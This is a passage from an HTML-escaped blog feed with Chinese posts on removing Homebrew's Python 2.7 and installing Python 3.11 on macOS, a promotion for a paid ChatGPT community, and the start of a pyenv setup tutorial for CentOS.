class="n"&gt;python&lt;/span&gt;
&lt;span class="n"&gt;lrwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wuchangfang&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;
&lt;span class="n"&gt;lrwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wuchangfang&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;python2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python2&lt;/span&gt;
&lt;span class="n"&gt;lrwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wuchangfang&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;46&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;python2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python2&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;
&lt;span class="n"&gt;lrwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wuchangfang&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;41&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;python2&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python2&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;
&lt;span class="n"&gt;lrwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wuchangfang&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;python2&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python2&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;config&lt;/span&gt;
&lt;span class="n"&gt;lrwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wuchangfang&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;39&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pythonw&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pythonw&lt;/span&gt;
&lt;span class="n"&gt;lrwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wuchangfang&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pythonw2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pythonw2&lt;/span&gt;
&lt;span class="n"&gt;lrwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wuchangfang&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;admin&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="mi"&gt;42&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Dec&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;2018&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pythonw2&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;pythonw2&lt;/span&gt;&lt;span class="mf"&gt;.7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;通通把软连接全部删掉&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ls&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;l&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;bin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;grep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;..&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;awk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;print&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;$9&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xargs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rm&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;把python2.7整个目录也删掉&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;rm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;local&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;Cellar&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;python&lt;/span&gt;&lt;span class="mi"&gt;@2&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mf"&gt;2.7.15&lt;/span&gt;&lt;span class="n"&gt;_1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;安装最新的python3.11&lt;/p&gt;
&lt;p&gt;打开官网 https://python.org ， 鼠标移动到 Downloads， 直接点击 Python3.11.3 下载 安装。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230416164631779" src="../../images/image-20230416164631779.png"&gt;&lt;/p&gt;
&lt;p&gt;按照提示安装成功后在终端命令行输入python3.11确认是否安装成功&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;➜&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;python3&lt;/span&gt;.&lt;span class="mi"&gt;11&lt;/span&gt;
&lt;span class="nv"&gt;Python&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;.&lt;span class="mi"&gt;11&lt;/span&gt;.&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;v3&lt;/span&gt;.&lt;span class="mi"&gt;11&lt;/span&gt;.&lt;span class="mi"&gt;3&lt;/span&gt;:&lt;span class="nv"&gt;f3909b8bc8&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;Apr&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2023&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;:&lt;span class="mi"&gt;12&lt;/span&gt;:&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;[&lt;span class="nv"&gt;Clang&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;.&lt;span class="mi"&gt;0&lt;/span&gt;.&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ss"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;clang&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1300&lt;/span&gt;.&lt;span class="mi"&gt;0&lt;/span&gt;.&lt;span class="mi"&gt;29&lt;/span&gt;.&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="ss"&gt;)&lt;/span&gt;]&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;darwin&lt;/span&gt;
&lt;span class="nv"&gt;Type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;help&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;copyright&amp;quot;&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;credits&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;or&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;license&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;more&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;information&lt;/span&gt;.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;如果只想输入python命令就可以进入python解释器，你可以设置一个软链接&lt;/p&gt;
&lt;p&gt;先查找python3.11的位置&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;➜ where python3.11
/usr/local/bin/python3.11
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;设置软连接&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ln -s -f /usr/local/bin/python3.11 /usr/local/bin/python
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;测试&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python --version
Python 3.11.3
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;本文完&lt;/p&gt;</content><category term="思考"/><category term="python"/></entry><entry><title>ChatGPT星球要涨价啦！</title><link href="https://foofish.net/chatgpt-community-is-comming.html" rel="alternate"/><published>2023-04-14T19:44:01+08:00</published><updated>2023-04-14T19:44:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-14:/chatgpt-community-is-comming.html</id><summary type="html">&lt;p&gt;大家好&lt;/p&gt;
&lt;p&gt;我们社群「ChatGPT研究社」目前已经聚集了400多位ChatGPTer啦，他们对新事物非常敏锐，也是最先抓住ChatGPT红利的人。  &lt;/p&gt;
&lt;p&gt;我们没有像其它社群那样做大规模推广 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;大家好&lt;/p&gt;
&lt;p&gt;我们社群「ChatGPT研究社」目前已经聚集了400多位ChatGPTer啦，他们对新事物非常敏锐，也是最先抓住ChatGPT红利的人。  &lt;/p&gt;
&lt;p&gt;我们没有像其它社群那样做大规模推广，因为我知道如果短时间大量的人涌入，体验做不好就是砸口碑，所以我几乎只在自己的公众号推荐一下。稳打稳扎持续提供服务，做好交付，和大家一起成长，问题都可以在星球或者微信上联系我们得到解答。&lt;/p&gt;
&lt;p&gt;如果你对ChatGPT感兴趣又苦于找不到门道，我推荐你一定要先走出第一步，至少要知道ChatGPT是个什么东西、怎么用，而不是整天听别人怎么说。&lt;/p&gt;
&lt;p&gt;目前星球除了最新行业信息、GPT技巧等日常内容更新外，我们还在持续输出专栏课程，光是一个专栏在外面就是好几百，现在你只需要加入星球都能免费学习。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230414143645416" src="../../images/image-20230414143645416.png"&gt;&lt;/p&gt;
&lt;p&gt;除了专栏课，我们星球还提供了多种无需使用魔法工具就能体验ChatGPT的工具。&lt;/p&gt;
&lt;p&gt;1、Web版ChatGPT（仅限星球球友免费体验），加入星球会免费赠送GPT账号，这个账号你不仅可以在ChatGPT官网使用，也可以在我们的自己网站使用。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230414145212942" src="../../images/image-20230414145212942.png"&gt;&lt;/p&gt;
&lt;p&gt;2、微信群体验ChatGPT（目前这种方式使用最方便）&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230414145701386" src="../../images/image-20230414145701386.png"&gt;&lt;/p&gt;
&lt;p&gt;3、公众号体验 ChatGPT（你只要加入星球就可以不限制体验）&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230414150637629" src="../../images/image-20230414150637629.png"&gt;&lt;/p&gt;
&lt;p&gt;我们星球一直保持非常低的退费率，目前退费率不超过5%。 就目前的价格，相比市面上动不动就是199、299、599甚至上千的入圈费，我们的价格算是非常良心了，关键是不满意3天内可无条件退款。&lt;/p&gt;
&lt;p&gt;最后送你一张30元的优惠券，仅限前50名，先到先得。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230414152118609" src="../../images/image-20230414152118609.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="ChatGPT"/></entry><entry><title>pyenv使用教程</title><link href="https://foofish.net/how-to-use-pyenv.html" rel="alternate"/><published>2023-04-14T13:47:06+08:00</published><updated>2023-04-14T13:47:06+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-04-14:/how-to-use-pyenv.html</id><summary type="html"/><content type="html">&lt;p&gt;这里以centos为例&lt;/p&gt;
&lt;h3&gt;1、安装下载 pyenv&lt;/h3&gt;
&lt;p&gt;预装的一些依赖包，根据不同系统选择安装&lt;/p&gt;
&lt;p&gt;https://github.com/pyenv/pyenv/wiki#suggested-build-environment&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yum&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;gcc&lt;span class="w"&gt; &lt;/span&gt;zlib-devel&lt;span class="w"&gt; &lt;/span&gt;bzip2&lt;span class="w"&gt; &lt;/span&gt;bzip2-devel&lt;span class="w"&gt; &lt;/span&gt;readline-devel&lt;span class="w"&gt; &lt;/span&gt;sqlite&lt;span class="w"&gt; &lt;/span&gt;sqlite-devel&lt;span class="w"&gt; &lt;/span&gt;openssl-devel&lt;span class="w"&gt; &lt;/span&gt;tk-devel&lt;span class="w"&gt; &lt;/span&gt;libffi-devel&lt;span class="w"&gt; &lt;/span&gt;xz-devel
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/pyenv/pyenv.git&lt;span class="w"&gt; &lt;/span&gt;~/.pyenv
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;2、更新配置&lt;/h3&gt;
&lt;p&gt;执行以下命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;export PYENV_ROOT=&amp;quot;$HOME/.pyenv&amp;quot;&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;~/.bashrc
